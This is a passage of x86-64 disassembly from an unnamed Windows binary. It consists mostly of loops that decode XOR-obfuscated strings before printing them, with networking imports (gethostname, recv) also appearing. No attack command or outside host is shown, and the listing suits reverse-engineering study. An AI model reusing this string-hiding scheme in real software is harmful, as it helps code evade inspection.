pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x28]
xorps xmm2, xmm1
movd dword [rsp + 0x28], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2c]
xorps xmm2, xmm1
movd dword [rsp + 0x2c], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rsp + 0x30], xmm2
jmp 0x1400cdd29
lea r9, [rsp + 0x20]
nop word [rax + rax]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400cdd00
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x20]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400cdd50
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.14006d8c0
lea rdx, [rsp + 0x60]
mov rcx, qword [0x1408a6be0]
call fcn.1400a2fa0
mov r8, qword [rsp + 0x78]
cmp r8, 0xf
jbe 0x1400cdd94
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.1400ea290
movups xmm0, xmmword [0x14037e840]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x14037e850]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x14037e860]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x14037e870]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x14037e880]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x14037e890]
movups xmmword [rbp - 0x30], xmm1
movsd xmm0, qword [0x14037e8a0]
movsd qword [rbp - 0x20], xmm0
mov ecx, r14d
movdqa xmm9, xmmword [str.66666666]
cmp ebx, 2
jl 0x1400cdef6
lea rdx, [rbp - 0x80]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx]
xorps xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
xorps xmm3, xmm0
movq qword [rdx + 8], xmm3
add ecx, 8
lea rdx, [rdx + 0x10]
cmp ecx, 0x30
jl 0x1400cde00
cmp ecx, 0x34
jge 0x1400cdf33
movsxd rax, ecx
lea r8, [rbp - 0x80]
lea r8, [r8 + rax*2]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x3a
movzx eax, cx
sub ax, dx
add ax, 0x36
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x34
jl 0x1400cdf01
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400d0be0
movups xmm0, xmmword [0x14037e8b0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x14037e8c0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [str.fghwxyzmh]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x14037e8e0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x14037e8f0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x14037e900]
movups xmmword [rbp - 0x30], xmm1
mov eax, dword [0x14037e910]
mov dword [rbp - 0x20], eax
movzx eax, word [0x14037e914]
mov word [rbp - 0x1c], ax
mov ecx, r14d
cmp ebx, 2
jl 0x1400ce0a6
lea rdx, [rbp - 0x80]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx]
xorps xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
xorps xmm3, xmm0
movq qword [rdx + 8], xmm3
add ecx, 8
lea rdx, [rdx + 0x10]
cmp ecx, 0x30
jl 0x1400cdfb0
cmp ecx, 0x33
jge 0x1400ce0e3
movsxd rax, ecx
lea r8, [rbp - 0x80]
lea r8, [r8 + rax*2]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x3a
movzx eax, cx
sub ax, dx
add ax, 0x36
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x33
jl 0x1400ce0b1
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400d0be0
movups xmm0, xmmword [0x14037e920]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x14037e930]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x14037e940]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x14037e950]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x14037e960]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x14037e970]
movups xmmword [rbp - 0x30], xmm1
mov eax, dword [0x14037e980]
mov dword [rbp - 0x20], eax
movzx eax, word [0x14037e984]
mov word [rbp - 0x1c], ax
mov ecx, r14d
cmp ebx, 2
jl 0x1400ce256
lea rdx, [rbp - 0x80]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx]
xorps xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
xorps xmm3, xmm0
movq qword [rdx + 8], xmm3
add ecx, 8
lea rdx, [rdx + 0x10]
cmp ecx, 0x30
jl 0x1400ce160
cmp ecx, 0x33
jge 0x1400ce293
movsxd rax, ecx
lea r8, [rbp - 0x80]
lea r8, [r8 + rax*2]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x3a
movzx eax, cx
sub ax, dx
add ax, 0x36
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x33
jl 0x1400ce261
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400d0be0
movups xmm0, xmmword [0x14037e990]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x14037e9a0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x14037e9b0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x14037e9c0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x14037e9d0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x14037e9e0]
movups xmmword [rbp - 0x30], xmm1
mov eax, dword [0x14037e9f0]
mov dword [rbp - 0x20], eax
movzx eax, word [0x14037e9f4]
mov word [rbp - 0x1c], ax
mov ecx, r14d
cmp ebx, 2
jl 0x1400ce406
lea rdx, [rbp - 0x80]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx]
xorps xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
xorps xmm3, xmm0
movq qword [rdx + 8], xmm3
add ecx, 8
lea rdx, [rdx + 0x10]
cmp ecx, 0x30
jl 0x1400ce310
cmp ecx, 0x33
jge 0x1400ce443
movsxd rax, ecx
lea r8, [rbp - 0x80]
lea r8, [r8 + rax*2]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x3a
movzx eax, cx
sub ax, dx
add ax, 0x36
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x33
jl 0x1400ce411
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400d0be0
movups xmm0, xmmword [0x14037ea00]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x14037ea10]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x14037ea20]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x14037ea30]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x14037ea40]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x14037ea50]
movups xmmword [rbp - 0x30], xmm1
mov eax, dword [0x14037ea60]
mov dword [rbp - 0x20], eax
movzx eax, word [0x14037ea64]
mov word [rbp - 0x1c], ax
mov ecx, r14d
cmp ebx, 2
jl 0x1400ce5b6
lea rdx, [rbp - 0x80]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx]
xorps xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
xorps xmm3, xmm0
movq qword [rdx + 8], xmm3
add ecx, 8
lea rdx, [rdx + 0x10]
cmp ecx, 0x30
jl 0x1400ce4c0
cmp ecx, 0x33
jge 0x1400ce5f3
movsxd rax, ecx
lea r8, [rbp - 0x80]
lea r8, [r8 + rax*2]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x3a
movzx eax, cx
sub ax, dx
add ax, 0x36
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x33
jl 0x1400ce5c1
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400d0be0
movups xmm0, xmmword [0x14037ea70]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x14037ea80]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x14037ea90]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x14037eaa0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x14037eab0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x14037eac0]
movups xmmword [rbp - 0x30], xmm1
movsd xmm0, qword [0x14037ead0]
movsd qword [rbp - 0x20], xmm0
mov ecx, r14d
cmp ebx, 2
jl 0x1400ce758
lea rdx, [rbp - 0x80]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx]
xorps xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
xorps xmm3, xmm0
movq qword [rdx + 8], xmm3
add ecx, 8
lea rdx, [rdx + 0x10]
cmp ecx, 0x30
jl 0x1400ce662
cmp ecx, 0x34
jge 0x1400ce7a2
movsxd rax, ecx
lea r8, [rbp - 0x80]
lea r8, [r8 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x3a
movzx eax, cx
sub ax, dx
add ax, 0x36
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x34
jl 0x1400ce770
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400d0be0
mov eax, dword [str._29]
mov dword [rbp + 0x1c0], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1400ce865
mov ecx, r14d
cmp ebx, 2
jl 0x1400ce837
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm15
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1c0], xmm1
jmp 0x1400ce865
lea r8, [rbp + 0x1c0]
nop
mov eax, 0x8d3dcb09
mul ecx
shr edx, 5
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x36
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 4
jl 0x1400ce840
lea rdx, [rbp + 0x1c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400d08d0
movups xmm2, xmmword [0x14037eae0]
movups xmmword [rsp + 0x20], xmm2
movzx eax, byte [0x14037eaf0]
mov byte [rsp + 0x30], al
mov r8d, r14d
cmp ebx, 2
jl 0x1400cea4e
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm15
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x20], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x24]
xorps xmm2, xmm1
movd dword [rsp + 0x24], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x28]
xorps xmm2, xmm1
movd dword [rsp + 0x28], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2c]
xorps xmm2, xmm1
movd dword [rsp + 0x2c], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400cea60
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x20]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400ceab0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.14006d8c0
lea rdx, [rsp + 0x60]
mov rcx, qword [0x1408a6be0]
call fcn.1400a2fa0
mov r8, qword [rsp + 0x78]
cmp r8, 0xf
jbe 0x1400ceaf4
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.1400ea290
movups xmm4, xmmword [str.aVQMSU_]
movups xmmword [rbp - 0x80], xmm4
movups xmm0, xmmword [str.XP2a1k.I]
movups xmmword [rbp - 0x70], xmm0
movq xmm5, qword [0x14037eb18]
movq qword [rbp - 0x60], xmm5
mov r8d, r14d
cmp ebx, 2
jl 0x1400ced3e
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm7
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp - 0x80], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rbp - 0x78]
xorps xmm3, xmm0
movq qword [rbp - 0x78], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rbp - 0x70]
xorps xmm3, xmm0
movq qword [rbp - 0x70], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm12
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rbp - 0x68]
xorps xmm3, xmm0
movq qword [rbp - 0x68], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
